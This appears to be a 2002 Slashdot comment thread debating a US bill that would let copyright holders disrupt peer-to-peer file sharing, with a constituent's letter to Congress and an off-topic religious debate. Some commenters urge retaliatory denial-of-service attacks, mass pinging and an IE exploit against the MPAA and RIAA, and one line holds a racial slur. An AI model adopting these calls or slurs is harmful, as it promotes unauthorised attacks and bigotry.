Anarchy$ dd if=/dev/random of=~/.signature bs=120 count=1
Writing to our elected officials is important. We also need to remember that there are some very good organizations that really understand these issues and are out there fighting for our rights every day. They need and deserve our support.
Even small donations will make a difference. There are a lot of us, people; once we get into the habit of putting our money where our mouths are, the **AA's will be in deep trouble.
If you can afford it, consider donating $100 a year to each of these organizations, as I do. It's really worth it.
- The Free Software Foundation
(click on "Donate", or volunteer, or contribue hardware or expertise)
- Electronic Frontier Foundation
although I wonder if this commonly applied meme about not using the Internet to contact politicians comes from the notion that email is far more easily mass-generated than legitimate email.
Going after P2P services and other individual "offenders" is probably akin to a bully beating up some kid he doesn't like after school, but what the MPAA and RIAA have in store for themselves if they actually go though with this is more like gang warfare.
Having some 1337 5kr1p+ k1d33 deface the sony music website for having their ability to download free music and movies taken away is nothing compared to someone with real skills seeing that sony "donates" millions to the EFF. If I were the MPAA I'd have 3 monkeys to protect my own assets for each monkey I had trying to DoS my customers.
Or how's this for an incredibly origional idea: don't start stupid sh*** like this and nobody will start any sh*** with the MPAA- then the MPAA won't have to guard their ass like a 98lb prision innmate with "bitch" tattooed on his forehead.
Wow... I can easily see this bill being enforced by Admins all-over not being able to stop the **IA in their wholesome fight against terrorists (read: Copiers of Brittney Spears tracks). If so, woult that mean Admins would NOT be allowed to stop a DoS attack?
Someone could probably break into your computer given enough motivation also. Firewalls aren't foolproof.
They're not foolproof, but properly installed most of them are hackproof. On top of that, anything which you aren't willing to have hacked probably shouldn't be stored online anyway. At least not unless you really know a whole lot about security, and only then on a private machine which doesn't allow incoming connections.
As for credit cards and other data stored on servers, it's not that big of a deal if that gets stolen. Besides, my original statement was only about DoS attacks, though I do believe that anything occuring solely over the internet should be legal.
Does this mean that the artists could DoS the RIAA for stealing their works?
Those who are silent are thought to be stupid, those that open their mouth remove all doubt.
One thing I don't understand, is how these legalised attacks will go down in contries other than the US, where such operations are deemed illegal.
The US wasn't the only country to legislate that dos-ing etc. was synonymous with terrorism.
Corporation, n. An ingenious device for obtaining individual profit without individual responsibility. - Ambrose Bierce
This isn't the way to fix this guys, Dos attacks on small timers, which is about all there is in this trade 1000s of small timers will only waste time and resources and begin net wars of Dos attacks.
This bill, if it becomes law, could have some interesting international ramifications.
Say, the MPAA/RIAA attack, or sponsor an attck on, some website OUTSIDE THE U.S. - where this law is not valid, but electronic anti-terrorism laws may well be valid.
This would make the MPAA/RIAA terrorists (or in a conspiracy to commit terrorism) with respect to the country of the web site.
At the very least, a good lawyer would be worth having, as suing a rich *foreign* organisation for committing an act of terrorism could be an interesting activity. Some European countries might be particularly concerned about an American law sanctioning what is really cyber-crime by U.S. firms.
I am anarch of all I survey.
... just write an article about it and post it on this site. They be slash dotted. Kind of like a legal DoS!
The race isn't always to the swift... but that's the way to bet!
It appears that the MPAA/RIAA, etc. will only have the ability under this law to:
a) restrict people from trading works to which they are the copyright owner (meaning every company that owns copyrighted material will have to employ these countermeasures or have someone do it on their behalf)
b) intervene only on the P2P network itself (deleting files on file traders PC's is expressly prohibited by the legislation) as those files may have been created via fair use.
c) only affect "Public" P2P networks (e.g. Gnutella)
What they are trying to get approval for basically amounts to running programs (some kind of bot maybe) that interrupts or interferes with downloads of whatever files they are trying to prevent from reaching public distribution. They can only
"block, divert or otherwise impair the unauthorized distribution, display, performance, or reproduction of his or her copyrighted work on a publicly accessible peer-to-peer file-trading network, if such impairment does not, without authorization, alter, delete, or otherwise impair the integrity of any computer file or data residing on the computer of a file trader."
This will deter casual users from trading files with P2P, and the most popular media will probably be very hard to obtain for some time after its release. I don't think they'll give a shit about your rare old Morrissey bootlegs or anything that's not on the Bestsellers lists.
Below is a full copy of a letter that I sent this evening to my U.S. Congressman Loyd Dogget of the Texas 10th Congressional District.
BEGIN LETTER:
Representative Doggett,
I am a voter in your district and residing in Austin, TX. I have serious concerns with a bill which was introduced for Legislation this week by Representative Howard L. Berman of California's 26th Congressional District.
The bill which is entitled "Peer-to-Peer Piracy Legislation" has some strong concepts which would make for extremely horrid legislation, as it is currently laid out within his proposal. The bill as introduced seeks to gain immunity from prosecution for copyright holders (such as major media organizations like the MPAA and RIAA) when attempting to hack or illegally gain access to private peer-to-peer networks and or the computers potentially containing their copyrighted works. I happen to be an information tecnology professional who specializes in network and computer security. With all my experience I can tell you that this is not a battle that the U.S. government wants to allow to happen between copyright holders and common citizens or even the more technologically savvy citizen. This proposed legislation as written would allow any copyright holder with reasonable suspicion to gain access to any system or network in question and prevent that machine from communicating this information on the Internet. Previous legislation has always defined actions of this type as a federal crime and more recent legislation since 9/11 even classifies illegal access to a computer network as a terrorist act.
The potential privileges granted to copyright holders under this proposed legislation has too much potential for abuse. As an example, if this bill were allowed to become a law a hacker could create a copyrighted work and place it into circulation among the peer-to-peer networks in secret. Every time the work is downloaded without express permission from the copyright holder the copyright holder would then be allowed the right to prevent that machine from communicating this data on the Internet. The massive potential for abuse of this legislation is too great, therefore it should not be allowed. If this legislation passes it could also force government monitoring and enforcement agencies to be overloaded with excessive work loads while attempting to identify whether a hack was truly legal or an actual illegal entry. This will create a cloud of smoke for the real hacker and terrorist entities or individuals to hide behind. The potential long term effects of this legislation could be extremely devastating and detrimental to the security of this country's Internet infrastructure.
The bottom line here is that hacking a computer or network without oversight by a government agency (as currently described by standing legislation) or expressed permission from the owning/operating organization/individual is a crime. This is stated plain and simple in many different forms of legislation currently being enforced in this country. I urge you to vote down this legislation and use your influence among your congressional peers to defeat this bill in its entirety.
Thank you,
Bill
William M. Daugherty
Director of Information Systems
First International Computer of Texas
(O) 512.249.3202
(M) 512.848.4992
(E) wdaugherty@fictx.com
END LETTER:
"Help me Obi-/.-Kenobi,your my only hope!" -$
erm, how exactly would the RIAA/MPAA disable a file trader's computer? As long as good security measures are taken, the only form of attack one should be susceptible to is a packet flooding DoS attack of some sort...
If these organizations resort to using packet flooding attacks, I'm sure that will put an extra unnecessary strain on ISPs and routing infrastructures everywhere, which will not be tolerated for long...
Am I missing something?
Al Gore would weep for his child and GWB would think that Al Kie-Duh had destroyed the internet and all ecomerce. Better send a cruise missile at them right away!
And I thought their current DoS attacks, which fill the sharing databases with crap music, was bad. Then I turned on the radio and heard how bad it really was.
Friends don't help friends install M$ junk.
DoS me, get DoS'd. /me dons black hat
~NullPointerException
to see that the #1 campaign contributers for Howard L. Berman are the TV/Music/Movies industries. Also notice the the computer equipment and services industry is the lowest supporter. Data from here.
----------------
Hard work usually pays off over time, but procrastination pays off now.
Upon closer examination, you'll see that the claim can't be filed unless $250 in monetary (not informational, but monetary) damages occur. And you can't ask for punitive damages. Simply the money you lost plus court costs. Bummer.
Citizens' Open Declaration Against Corporate Injustice
Enacted 25 July, 2002
Whereas the House of Representatives, the Congress, and the Senate of the United States of America have repeatedly put forth an effort to pass pieces of legislation which are clearly designed to assist wealthy industries in the oppression and usurpation of the common citizen, both domestic and foreign;
Whereas it has been proven that the cost of the Compact Disc (CD) and other media of content distribution have in fact risen as a result of corporate profit-minded planning, even in spite of reduced manufacturing costs arising from the ubiquity of newer and ever more advanced technology;
Whereas the Artists who create and distribute their Content through RIAA channels are not properly compensated for their personal efforts, since only a small minority of the funds earned this way actually profit the artist;
Whereas the Recording Industry of America (RIAA), under the guise of "anti-piracy" efforts, and in an effort to maximize profit at the expense of Fair Use and consumer friendliness, have in fact conspired to release nonstandard copy-protected media such as the "copy protected CD", with the express intention of hindering, damaging, or otherwise disrupting an electronic device such as a personal computer;
Whereas the Motion Picture Association of America (MPAA), in cooperation with other entities, including at least one compromised legislator, has in fact conspired to legislate a condition of immunity for itself with regard to the committing of numerous, serious federal offences via the directing of Denial Of Service (DoS) attacks at Peer-to-Peer (P2P) networks;
Whereas the above mentioned DoS attacks and other vigilante procedures would likely cause serious harm to individual computer users and Internet Service Providers (ISPs);
Whereas the passing and continued existence of the Digital Millennium Copyright Act (DMCA), without further and serious examination, is expected to erode both the legitimacy of Fair Use provisions by the State under previous copyright laws, and erode the onus being on the State to establish the presence and existence of guilt beyond a reasonable doubt or in a balance of probabilities, in the event that an offence is believed to have been committed;
Whereas the Business Software Alliance (BSA) is believed to have engaged in actions on behalf of its members that are harmful to the citizens' freedoms and interests in terms of enforcing fair copyright legislation, particularly with respect to the intolerable conditions provided by the DMCA;
Whereas the agenda of Digital Rights Management (DRM) is being forced on citizens without due process or reasonable grounds;
Whereas DRM and all of its derivatives are dangerous to innovation, copyright, and technological advance on the grounds that they remove functionality from electronic devices and further erode Fair Use provisions;
Whereas no form of DRM has been conceived, or even constructed, with the intent of compensating copyright holders and content creators for alleged acts of "piracy";
Whereas great injustices have been perpetrated by the RIAA and MPAA against citizens, ISPs, and other entities without proof beyond a reasonable doubt or on the balance of probabilities that an act of "piracy" or "copyright infringement" has in fact been committed;
Whereas the BSA, its members, and a number of other commercial software entities have been continually abusing the U.S. patent system by establishing circumstances in the development community which hinder, stagnate, or degrade innovation and the spread of new ideas;
Be it resolved that we, the people, both US citizens and citizens from abroad, hereby declare the following:
(1.) That an unconditional boycott must be made against key firms, particularly the BSA, RIAA, and MPAA, in an effort to encourage the establishment of fair and honest business practices, and to promote nondiscriminatory relations with regard to customers and end-users;
(2.) We demand the retraction or striking down of all counterproductive legislation such as the DMCA, and reserve the right to demand such for any similar article or document from the present, past, or future;
(3.) We refuse to recognize any media or content distribution or creation entity as a legitimate law enforcement agency;
(3[i].)-- no entity besides the rightful government of a state will be granted law enforcement powers by the State, as the establishment of such would forseeably undermine citizens' freedoms and democratic rights;
(3[ii])-- no entity shall be granted any form of vigilante powers under any circumstance, by any other entity or the State, as this is strongly contrary to what a legitimate and free democracy should stand for.
(4.) We reserve the right to enjoy the provisions of "First Sale" and "Fair Use" protected under existing national and international copyright conventions;
(5.) We find the passing of legislation which allows crime to be legitimized for any agency for the purpose of personal gain to be utterly intolerable.
(6.) In the event that any entity, corporate or otherwise, is granted any piece of blatantly opressive legislation or vigilante rights, such as the right to commit a federal computer crime with impunity, the citizens of all nations reserve the right to:
(6[i])-- declare a state of war against that entity and any parties that share responsility, whereby "war" is defined as the right to assume equal rights as those which the oppressor has enacted, and in doing so, the citizens are entitled to commit at least one retaliatory act in return for every act made by the "oppressing" entity;
(6[i][a])--- any such state of war will remain in full force until the legislation or grant of power in question has been reversed or struck down and is completely eliminated. Proof of such elimination will be required in all instances.
Boycott shitty anything, do ya? How do you explain your practice of reading and posting to /., then?
Let's see
Microsoft can hack into ANY computer in the United States to make sure you aren't violating their copyright.
The Open Source community can hack into Microsoft to make sure they aren't using GPL'd code in their products.
You can hack into any military weapon system to make sure they are not using code from you thesis.
And its legal. I love this country.
Ya know, the RIAA and MPAA have been being VERY NAUGHTY for some time now, and perhaps it is time to provide them with a high quality learning experience.
...do you REALLY need to allow traffic from these netblocks through, or e-mail from these lovely folks to relay?
Let's not wait. Let us block the relevant domains and netblocks from relaying through our servers and routers, just quietly dropping a few more bans into our configurations...and watch the naughty children get to sit in the corner facing the wall.
In the case of the RIAA and MPAA, until such time as they go quietly bankrupt.
WareNet appears to have built (or at least has a "bug" on the site claiming credit for building) the MPAA web page http://www.mpaa.org, the RIAA http://www.riaa.org and MPAA both have netblocks findable using the whois at http://www.arin.net
...would be to create a p2p network that was private, and not publicly accessible. Require login, authentication, etc.
Then this law wouldn't apply.
I guess this means DDoS also. That means a lot more internet traffic.
The quote you provide from Elder Ballard is both accurate and in context, and you are quite correct that the proper place to find out about what Mormons believe is to visit either lds.org or mormon.org, both of which are operated and overseen by the Church and can be trusted to contain correct information.
However, byu.edu cannot be trusted as a source of doctrine, and particularly, the page you visited seems to just be the reflections of a random student or professor. The link does not work, so I can't see who wrote it, and I can't claim any more authority to define church doctrine than the author, so I will defer you to the pages at lds.org and mormon.org above. Some of those assertions you will find on the pages above, and those you can call LDS doctrine (you are quite correct that many of them will be different from what you believe). Others you will not find (I do have to address the worst fallacy: Yes, God did create us. I don't know what the context of that quote was or what the author was trying to point out, but it simply is not true. Gen 1:27 -- God created man in his own image. The only thing I can think of, besides the author just being whacko, is that we believe that God the Father directed the creation through Jesus Christ, who is also God, but since you believe they are one and the same, I can't see a whole lot of divergence there).
If you are seriously interested in what we believe on those subjects, there is a link to the scritpures on the lds.org site, and you can look up the following references, which pertain to the assertions in the page you found:
Gen. 1:26-27 (Bible); Alma 34:8-10(Book of Mormon); Doctrine and Covenants 131:22-23; Moses 1: 10-17, 31-42 (Pearl of Great Price); Rev. 12:1-11 (remember, we identify Lucifer with Satan) (Bible).
The scriptures are the basis of our beliefs, and anything else you happen across on that site, you can trust, especially if it is a quote from one of our General Authorities (like Elder Ballard), who are the ones authorized to interpret scripture.
In summary, yes, we believe in Christ and all of his teachings, yes, we believe in the Holy Bible (we particularly prefer the KJV), yes, we probably have very similar beliefs about what is right and what is wrong, yes, we celebrate holidays, birthdays, Easter, Christmas, and any other excuse we can find to serve red punch and cookies, yes, there are sometimes substantial differences between Mormons and other Christians, but no, that is not a reason that we cannot all work together for good common causes. If you know many Mormons, you will probably find that they are overall pretty normal folks. So, I think that other than a difference in definition of the word "Christian," we pretty much agree with each other. And that is indeed the most religious and off-topic discussion I have ever had on Slashdot.
Today's Sesame Street was brought to you by the number e.
Go gO ga D g3t l a m3ne55f i17eR
"if such impairment does not, without authorization, alter, 19 delete, or otherwise impair the integrity of any computer 20 file or data residing on the computer of a file trader."
From my limited personal experience with DoS attacks, I've found that a sizeable force attacking even a cable modem user can have unforeseen consequences.
I had a network admin friend of mine that worked for a DSL ISP shove a DS3 line full of packets directed straight at my cable modem one early morning. He performed a brutal DOS attack on me for about 20 seconds.
As soon as "Doing it... NOW" came across the IM, the lights on my modem fired up solid and my mouse quit working. The only remedy I had was to disconnect the cable modem, but it still had caused my system to become unstable to the point where the reset button was the only remedy - no mouse or keyboard response whatsoever. When I restarted, the Windows Scandisk message came up and, sure enough, it found problems with the file system... files lost.
DoS attacks do not have to take the form of network flooding. One form of DoS I hear most about is offering bogus material with filenames/tags of popular movies and music, on P2P networks. Also, there may well be ways to frustrate programs such as Kazaa by opening lots of connections, sending it invalid commands or things like that. That would not have to take up lots of bandwidth, nor would it alter any files, which is one of the provisions in this Bill.
Another thing: doesn't this bill state that they can hack or DoS in order to prevent (suspected) illicit distribution of their works? Does this mean that they can cause collateral damage and side effects, such as preventing you from using the net at all or swapping legit files? Or are they allowed only to stop you from swapping illicit files? To me, the bill isn't clear on this (though IANAL). Of course, the RIAA and MPAA may interpret this bill in the broadest sense, so yes, they will be allowed to DoS your internet connection, and not just the P2P part.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
what if someone simply made a small program that pings the MPAA site. And starts distributing it allover the globe. one user might not make a big difference in pinging a site, but if you have 10-20-50.000 users pinging the same target... It would be really hard to blame someone?
The music industry is already using a company called NetPD to hunt down and kill copyrighted material. Unfortunately they don't just go for the files. They were interviewed for a 'cybercrime' documentary on the BBC recently and they explained they find out who is distributing the files (includes P2P clients as well as websites) and sends one of those we've-got-lawyers, your-customer-hasn't letters to your ISP.
(I'd LOVE to waste some of my spare bandwidth/cpucycles hammering the servers they use to search for files - but this would have to be done by a larger number of users than just me.)
insignificant sig
What if someone found their copyrighted material on MPAA.com or some such site, could we then hack their site???
-v
MOD THIS UP
Imagine the headlines: "America Hack's England"
Shocking?
But after the "media hype" filter: "MPAA DoS's London Business"
Still shocking?
The MPAA and RIAA are composed of members who tend to be multinationals. All it takes is one of these organisations to attack a computer in the UK and the UKs Computer Misuse Act kicks in and their members can be tried in a criminal court in the UK, assuming that they have a presence here (they all do). Even better - if it's a .gov.uk machine that gets attacked then our anti-terrorism legislation kicks in and that is some nasty shit to have levelled at you.
I wonder how much trouble it will cause when Sony, Disney and AOL/TW suddenly get hauled into a UK court under the provisions of the Anti Terrorism Act and are effectively barred from trading in Europe - this may sting just a little more than the sales they lose through P2P sharing. What's more this can even be proved due to the UKs wonderful new RIP act. Lots of fun to be had in the near future when multinationals discover that the Internet is not just an American thing and get sued in courts all over the world that isn't the US. Fun Fun Fun
For more proof that the recording companies expect special dispensation when it comes to engaging in otherwise illegal acts check out New Zealand's copyright law and Sony's blatant flouting of them.
According to Section 37 of the NZ Copyright Act, the importation, sale, hire or in some cases mere possession of any device "specifically designed or adapted for making copies" of copyrighted works is a breach of Copyright Law.
However, in the advertising for their Mini Disk player, Sony claim purchasers can "quickly and easily connect Net MD directly to their PC in order to download music files from the Internet or their CD-Rom drive"
Now excuse me -- but since Section 30 of the NZ Copyright Act clearly states that "The copying of a [copyrighted] work is a restricted act in relation to every description of copyright work", then it is obvious that Sony are promoting a device that is designed to break the law.
However, do you think the local recording industry has lodged a complaint about Sony's law-breaking?
Hell no!
Could it be because the head of Sony Music NZ is also the guy the recording industry has given the task of heading up their anti-piracy campaign?
For more information on NZ copyright laws you can check out the article on Aardvark.
I am sure that if they recieved 100000+ messages through this system, not only would coldfusion throw a spaz attack but they might start getting the message. Slashdot is the best DDoS system I have ever seen. ;o)
I've essentially told them to think twice before going after everybody, or they will have trouble on their hands from nations who's premiers aren't president ("tatoo idiot on forehead now") Bush's lapdog. Companies never listen to complaints until you explain to them how their actions will lead to a decrease in profits for them. That's how I get £20 off my mobile phone bill some months...bad reception, I tell them about all the p**sed off people in the area who are thinking of leaving, I get £20 off and am happy until I have to complain again.
The RIAA and MPAA should realise that by walking down this very dangerous path, not only could they lose a lot of business, look bad, but also start an international incident that could have serious ramifications for years to come.
I mean, terrorists already get pissed off by the U.S.A.'s desire to control everything outside their borders...this just gives them more ammunition.
Good luck to the RIAA and MPAA, they're going to need it.
I am NaN
Nothing in this bill states that a copyright holder has a right to perform electronic attacks against those they believe are infringing apon them. Rather, they simply will not be penalised if they find and exploit the means.
The distinction here is subtle, but can be summed up as this: no-one (including a copyright holders ISP!) is obliged to allow an attack to take place.
ISP: "I'm sorry sir, I know you can't get any network connectivity outside of our network, but that seems to be because you've violated their terms of service."
Any ISP which has an even remotely sane Terms of Service is well within their contractual rights to terminate, without compensation, any wrongdoers network link if they start abusing it - copyright holder or otherwise, regardless of whether this bill passes into law.
and they spend it on silly p2p-users.
While spammers still run amuck without being punished at all. NO organisation will hack into an email harvesting machine!
It's sad really. But if you guys keep writing, who knows this bill may not pass at all..
The Awful Truth
Why is it that we have to obey all the laws, but nobody in power does?
These people can seriously do whatever they damn well please, can't they? Hack your computer, lie to the SEC and their shareholders, whatever. And nothing ever happens to them.
At the same time, the penalties for people like us keep getting harsher and harsher.
Know what? Obeying the law looks like a long-term losing proposition to me. I don't think I'm going to do it anymore. Fuck the law. If the law doesn't protect equally, there is no law.
Mr. MPAA, from now on I am going to do everything in my power to rob you blind and make you suffer. I'm not going to pretend that my p2p client is for any legitimate use. My p2p client is for theft purposes.
"Reactionaries must be deprived of the right to voice their opinions; only the people have that right." - Mao
The road to hell is paved with good intentions.
and there is a difrence between a dead bolt and an assult rifle.
So when one of your nasty American corporations attack my mp3 server in Sweden, an activity which we here in the civilised world would look askance upon, I wonder if I will be able to extradite the culprits and sue them in Sweden under Swedish law?
.mil domains....can't wait to see what response the mpaa get when they try a ddos an some redneck with access to an f16
I have also found in the past some interesting ip addresses attempting to connect on 1214 that seem belong to
but the editorializer has clearly overstated the scope and effect of this bill. This seems to be a common tactic of those who rabidly defend an anti-copyright position with regards to modern file sharing.
So what ? you know it, I know, the poster knows it.
What you are forgetting is that Geeks are mirroring a 'common tactic' because it WORKS, we've been taught that lesson by some of the best practitioners of the FUD in the world.
The real question is why YOU oppose any effective technique?
Since Hillary Rosen, et. al. are still using tin cans and strings and wax cylinders as the height of technology it'll be tough to DDOS them. I suppose a pair of scissors might wreak havoc with 'em...
--- I wish I could hear the soundtrack to my life. That way I'd know when to duck.
If the MPAA/RIAA heads surf the 'net (which isn't a forgone conclusion) then they'll have copyrighted material in their web caches.
Everyone should monitor their web server logs for hits from the big five music companies. When you see one, launch a "probe" against that IP address and ensure that they don't have any of your copyrighted material (say that logo on your home page, or maybe use an IE exploit to shove an MP3 onto their box) in their computer. (You'll have to make sure that you place language on your sight asserting your copyright and restricting the permissions to your logo.)
--- I wish I could hear the soundtrack to my life. That way I'd know when to duck.
"No one is bound to obey an unconstitutional law and no courts are bound to enforce it." If you are on trial for breaking such a law, I hope your jurors are fully informed regarding nullification. Jurors sit in judgment of the law as well as the case itself. Your vote in the jury box is quite likely more powerful than the one you cast in November.
Constitutionally Correct
Dem's be niggers and thieves too.
It's called the "legal system". You may have heard of it. It gives you certain rights which you may exercise in order to prevent people from illegally trading your copyrighted works. There is really no reason to subject the entire internet community, some of which lies outside the national boundaries in which your organization resides, to random DoS attacks. Attacks which you cannot even begin to guarantee are targeted against the proper users. Again. "Legal System". Look it up.
He gets all of his freakin money from the entertainment industry. Have a look: http://www.opensecrets.org/politicians/contrib.asp ?CID=N00008094&cycle=2000
and:
http://www.opensecrets.org/politicians/indus.asp?C ID=N00008094&cycle=2000
Summary justice from a possee of RIAA the Kid and Doc MPAA could be just what's needed.
Extend this legislation a bit and we could save a whole load of money on legal bills:
If you think someone's broken the law, don't bother with the police or lawyers, just go round and kick the **** out of them. If it's good enough for RIAA and the MPAA, then it's good enough for everyone else.
Perhaps a RIAA member has published lyrics in a song that you thought of first, or someone has ripped-off your screenplay - you can go and dump on their webservers! You won't need to prove it, just go ahead and do it.
I just hope that RIAA and the MPAA have licensed all those pretty gif and jpg images on their websites, otherwise Unisys and co could decide to give them a brisk DoS-ing....
(p.s. if any of these opinions have been aired before, please feel free to DoS me for breach of copyright....)
Wasn't a bill just recently passed that would give hackers the death penalty? Is this the loop hole we've all been looking for to eliminate the media conglomerates? Hell, they can DoS me if it's going to get them the death penalty.
geek n performer who performs morbid or disgusting acts, as biting off the head of a live chicken
You know all those undercover cop stings to test store clerks if they will sell tobacco and/or alcohol to minors in the US? Look up your state's statute on this, and they will list an exemption specifically for this kind of operation.
Mod Karma -1: I sed bad wurds. If I cep my mouf shut, I wud be at riyses.
I'm giving up computers for a life at sea. I'll haul oil or something.
Fresh sea air, the sun on my face..
Oh, shit, Disney will probably sue me for talking like a salty seadog. *sigh*
Perhaps instead of trying to control content they should GIVE UP; ALL THEIR WORKS ARE GARBAGE ANYWAY.. I wouldn't put any of their shows on my p2p server, why hurt others when you don't have to?
OK, just suppose that this law doesn't pass and the MPAA/RIAA go ahead and launch DOS attacks anyway. What precisely are you going to do about it? No-one here has anything like enough money to sue them anyway.
I can't wait to lie back with a six pack and watch the entrire Internet go down, with the American public(and government) in shambles as to who they blame for this as well as letting this bill pass....it basically makes the Internet a battleground for Digital Rights Management nuts....
This may have been brought up earlier, but I'd be anxious to see what effect this has on other coutries. Remember, mass file-sharing is not contained to the US. Imagine an attack on, say, Germany, that wipes out a considerable portion of an ISP. I think that would violate some kind of international law, and could even be seen as a declaration of war.
Reading through the law, the only check this law has is the notification of the Attorney General, but since that is only one man, and that decision would be apt to sway from time to time, that is not a truly effective form of checks and balances, but a coverplate for an open source of attacks.
Of course, I'd like to be all "holier-than-thou" about movies and just read all the time, but I think my girlfriend would change my mind on that the minute the next sapfest hits the screens. ;-P
Slashdot - Come for the creative thought, stay for the lesbians!
"The news has been buzzing around for the last couple of days that Representative Berman, whose palm has been crossed with silver by the entertainment industry, would introduce a bill permitting copyright holders to hack or DoS people allegedly distributing their works without permission."
Have you even considered the ramifications of what you are proposing? Don't you think Osama bin Laden has the money to buy the rights to some stupid recording and then claim he's just protecting his copyrights by attacking every computer in the country? You, sir, are truly an idiot.
And don't you think that this sort of corporate vigilantism strikes at the very heart of the concept of rule of law? What next, poisoned candy from vending machines that is only detoxified upon payment? Is this really your vision of America's future?
YOU MAKE ME ASHAMED TO BE A DEMOCRAT!
Steve Franklin
Hic iacet Arthurus, rex quondam rexque futurus.
Because bits can't physically hurt or kill people.
Think again.
"Bits can't physically hurt of kill people."
Sure they can. Ever lose a job opportunity because the Email was down? Figure it this way: you get offered a summer job via email but you must reply before a certain date. BUT the email is down and the job goes to another person. Harm? Sure: lost salary. Can happen and it does happen.
Creative Spelling Copyright (2002). May use without Persimmons
Then A) the hospital or nuclear power plant or train or air traffic control system should be sued for negligence
That makes as much sense as suing me for negligence if I'm driving down the street, someone shoots me, and I run off the road and kill a kid on his bicycle.
and B) the DoS attacker can be sued for murder or attempted murder or terrorism or whatever is appropriate under the circumstances. Of course, I deny that such a situation is possible in the first place.
I wonder whether, under this bill, the MPAA or RIAA could be prosecuted in the event their actions caused this sort of damage. As far as whether it's possible, I know a radiologist who reads CAT scans and such from home when he's on call, but I'm not sure whether it's over the internet or on a dial-up line - and I would hope that they have a 'Plan B' for life-threatening situations.
Life critical systems should not rely on the internet, plain and simple.
No, but that doesn't mean the internet shouldn't be protected from attacks wherever possible. There are businesses large and small which rely on the internet to communicate and to conduct operations.
Also, there are already laws in place to cover this. Finally, it is outside the enumerated powers of the constitution to have laws regarding this.
There I have to agree. The computer crime code is basically useless; anything that can be prosecuted under it should have been prosecutable without it. If someone damages a person's property or deprive them of their livelihood, they should be held equally accountable whether they use a computer, a gun, or a salami.
Hey kids, there's only 5 days left 'til Yak Shaving Day!
1. Does this mean I can DOS the MPAA if I believe that they are illegally distributing music I've copyrighted.
2. If my ISP had a MPAA/DOS section in it's service contract that said I was liable to pay Damages of $3000.00 every time the MPAA forced a DOS attack on me, then would the MPAA be liable for those damages. The attack would cost me money, and so the MPAA would be liable for damages.
Training monkeys for world domination since 1439
"Life sucks, get a forking helmet!" - Dennis Leary
Boycott? The RIAA already tried to convince everyone that I'm not buying music because of P2P. I only download shitty music because I would never pay for it. If an artist I like put together a full CD worth of good material I would buy it, and I do.
And when you consider the many mistakes made by trained police officers (see news the last few days), how do you think corporate vigilantes would behave? It is a terrifying thought.
I thought one was innocent until proven guilty in most civilized countries. The police even needs a warrant to enter your house to look for illegal material. Why should corporations be raised above the law? Why should they have rights which the police doesn't even have?I'm sorry, but you sound like more of a hypocrite than anyone else here.
Clever signature text goes here.
Do the originators of this law wear a towel on their head, treat their wives as farm animals, and have the middle name that sounds like a request for extra pork?
If they did, then their actions would make sense.
And PLEASE, stop calling me Ed!
I know it's way to late to add to this discussion, but the Boston Globe online site has an article about this. Amusingly, there is also a poll, which when I voted made the vote 261 to 1 that this was going too far.
Not likely, I and my kit live in the UK, So ...
I'd report them to the Police under Section 1 of the Computer Misuse Act 1990.
The police would collect all the evidence under criminal law, for me.
The UK/US has a extradition treaty, so the 'Consultants' would spend upto 6 years in Jail for each attack/Offence.
The Management that ordered the attack would spend upto 12 years in Jail for count of conspiracy.
I sue them under civil law and gain a default judgement, because they've already been convicted under the heavier burden of criminal law.
I would claim for punitive damages since the damage was wilful.
I would then gain an Anton Pillon Order and cease assets cash/takings from their Cinemas and Stores.
Clearly, there will be no consensus here because we are working from different definitions of the word "Chrstian."
Certainly. My point is precisely that we have no consensus. Your doctrines are logically incompatible with Christian doctrines. And I am not trying to dispute the truth of either set of beliefs, only pointing out that they are disjoint.
The link to the byu site works fine for me. As for the author:
'This material is taken from various teachings of Joseph Smith and much of the content is expanded in the book "A Marvelous Work and a Wonder," by the late Elder Legrand Richards.'
Do you regard Richards and Smith as unreliable?
I do have to address the worst fallacy: Yes, God did create us.
Well, not according to the Book of Abraham, which, unless I am mistaken, is a part of Mormon Scripture in the Pearl of Great Price.
In Abraham 3, God is explaining creation to Abraham. In 3:16, he is showing Abraham how spirits, though different in intelligence, are of the same nature. He notes that:
'..yet these two spirits, notwithstanding one is more intelligent than the other, have no beginning; they existed before, they shall have no end, they shall exist after, for they are gnolaum, or eternal.'
So, spirits are eternal. They have no beginning. So, they cannot have been created by God. And Joseph Smith explicitly taught this.
As Joseph Smith is quoted as saying:
'eternity means that which is without beginning or end . . . I believe that the soul is eternal and had no beginning; it can have no end'
(from an account of Smith's discourse on April 7, 1844, by Thomas Bullock)
and
'that God never had power to create the Spirit of Man at all--God himself could not create himself-- intelligence is self existent it is a spirit from age to end & there is no creation about it.'
(Bullock, ibid)
Is Joseph Smith a "whacko"(your term)? Yet, his beliefs do coincide with Abraham 3.
Abraham 3 also explicits teaches that the premortal spirits of Lucifer and Christ are of the same nature(Abraham 3:22-28).
In your conclusion, you seem to assert the fact that you celebrate holidays, etc. I would assume that this is because you think I am confusing you with JWs. I am not. I know several Mormons. They are quite nice, and we did indeed work together. I am not, and have not, doubted or disparaged the ethics or morals of Mormons. This has no bearing, however, on whether Christian and Mormon doctrines are contradictory. They are.
All that is necessary for the triumph of good is that evil men do nothing.
Actually, I was about to suggest this myself.
Sometimes, fighting fire with fire is not the best answer. A pre-emptive Dos attack on "them" would only generate more ire at "hackers".
In this case fighting fire with water would be, I think, more effective. Boycotting movies and music for a week, over the Christmas holidays would be much more effective, don't you think?
Let's run our boycott from Dec. 13 thru Dec 20 inclusive. No going to the theaters. No buying music or movies.
What say you?
Enjoy your life, it's the only one you've got!
http://www1.excite.com/home/technology/tech_art
Not only am I boycotting anything that puts money into the pockets of the RIAA and MPAA, I am also educating my wife, my friends, and anybody else that will listen, about this bill and every previously-passed (DMCA) or proposed (SSSCA and its spin-offs) absurb bill. So, I figure if only 20% of the population boycotts the RIAA and MPAA, it will make a noticable enough difference that people will listen. If 80% of the population boycotts the RIAA and MPAA (yeah, right), then that will put them out of business.
Biodiesel : domestic, renewable, clean, and in the fuel tank of my bone stock 2002 New Beetle TDI
It also starting to Look like Valenti has been forced to back down.
http://www.theregister.co.uk/content/6/26402.ht
Now they are on the run do NOT take this as victory and relax. I advocate moving onto the attack and pressing home the advantage. Tell your friends 'Look what they tried to do', tell them the MPAA/RIAA et. al. need to be watched they are trying to steal your rights, If we Geeks where not on the ball they may have suceeded. They still could. In short, rope likely future allies into the victory.
Irvu.
